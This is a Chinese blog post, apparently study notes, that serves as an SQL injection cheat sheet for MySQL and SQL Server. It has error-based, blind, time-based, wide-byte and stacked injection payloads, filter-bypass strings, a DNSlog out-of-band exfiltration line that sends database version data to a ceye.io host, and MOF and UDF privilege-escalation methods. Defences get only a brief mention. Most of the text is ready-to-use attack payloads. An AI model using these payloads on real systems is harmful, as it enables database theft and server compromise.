请注意,本文编写于 463 天前,最后修改于 463 天前,其中某些信息可能已经过时。
MySQL报错注入通过构造payload让信息通过错误提示回显出来,主要应用与查询不回现内容,会打印错误信息;Update、insert等语句,会打印错误的信息
updatexml:利用函数的报错
concat()
函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户,make_set()
可替代
0x7e
ASCII码,实为~,upadtexml()
报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符
select updatexml(1,concat(0x7e,(select user()),0x7e,1);
floor:floor(rand(0)*2
的作用就是产生预知的数字序列01101
,然后再利用 rand()
的特殊性和group by
的虚拟表,最终引起了报错。
select count(*) from infomation_schema.tables group by concat((select user()),floor(rand(0)*2)
extractvalue:extractvalue(目标xml文档,xml路径),extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
select extractvalue(1,concat(0x7e,(select user()),0x7e));
exp():Double
型数据溢出,我们通过子查询与按位求反,造成一个DOUBLE overflow error
,并借由此注出数据。
and exp(~(select * from (select user () ) a) );
sleep():select sleep(5)
benchmark():执行一个表达式数次 select benchmark(10000000,sha(1));
笛卡尔积:SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
get_lock():在一个session中可以先锁定一个变量例如:select get_lock(‘do9gy’,1)
然后通过另一个session 再次执行get_lock函数 select get_lock(‘do9gy’,5)
此时会产生5 秒的延迟,其效果类似于sleep(5)。
RLIKE:通过rpad
或repeat
构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
利用:在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
原理:load_file()函数是读取文件的函数,读取文件并返回文件内容为字符串。当我们使用load_file去访问域名的时候,会产生DNS解析
这时候我们可以通过构造sql查询语句去查询数据库
select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))
限制:要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
只能在windows系统下使用load_file()发起请求,在Linux环境下不能使用load_file()发起请求。
在使用前务必记得设置secure_file_priv为""
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入进行转义而变为’,由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时’前的就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。
概念:tacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
与union的区别:union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 -- 。延时命令:WAITFOR DELAY '0:0:2'
利用:
SA权限使用sp_oacreate执行系统命令
DB_owner权限LOG备份Getshell:
DB_owner权限差异备份Getshell:
SQLServer数据库特有的表是:sysobjects ,所以可以用它来判断是否是SQLServer数据库
exists(select*from sysobjects)
判断当前数据库用户权限
and 1=(IS_SRVROLEMEMBER('sysadmin')) //返回正常为sa
and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public'))
判断数据库的个数
and (select count(name) from master..sysdatabases)=N
......
1.过滤关键词
2.预编译:使用预编译,而其后注入的参数将不会再进行SQL编译
。也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句,而默认其是一个参数
,参数中的or或者and 等就不是SQL语法保留字了。
注:order by,不能参数化,可直接丢出错误
1.端口:Oracle-1521 SQL Server-1433 MySQL-3306
2.特征表:
Oracle: sys.user_tables
MySQL:information_schema.TABLES
access:msysobjects
mssql:sysobjects
3.特征连接符:
Oracle:`1 and '1'||'1'='11'
查数据库版本
union
-1 union select 1, @@VERSION, 3, 4
bool盲注
1'and left(version(),1)=5#
1 and (ascii(substring(user() from 1 for 1))=111) ;
时间盲注
1 and if(substring(version(),1,1)='r',sleep(5),1);
报错注入
1’ and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+
and updatexml(1,concat(0x7e,(select version()),0x7e),3) *--+*
and (select exp(~(select * from(select version())x)));
DNSLOG
select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))
过滤逗号
union select * from ( (select user())a JOIN (select version())b JOIN (select database())c )
过滤逗号:
联合查询
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
盲注
1 and (ascii(substring(user() from 1 for 1))=111) ;
过滤空格:
注释,括号, %20 %09 %0d %0b %0c %0d %a0 %0a
过滤字段名:
select c.2 from (select 1,2 union select * from users)c limit 1,2;
利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行
select load_file('mof提权文件及路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,引入dll文件执行系统命令
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!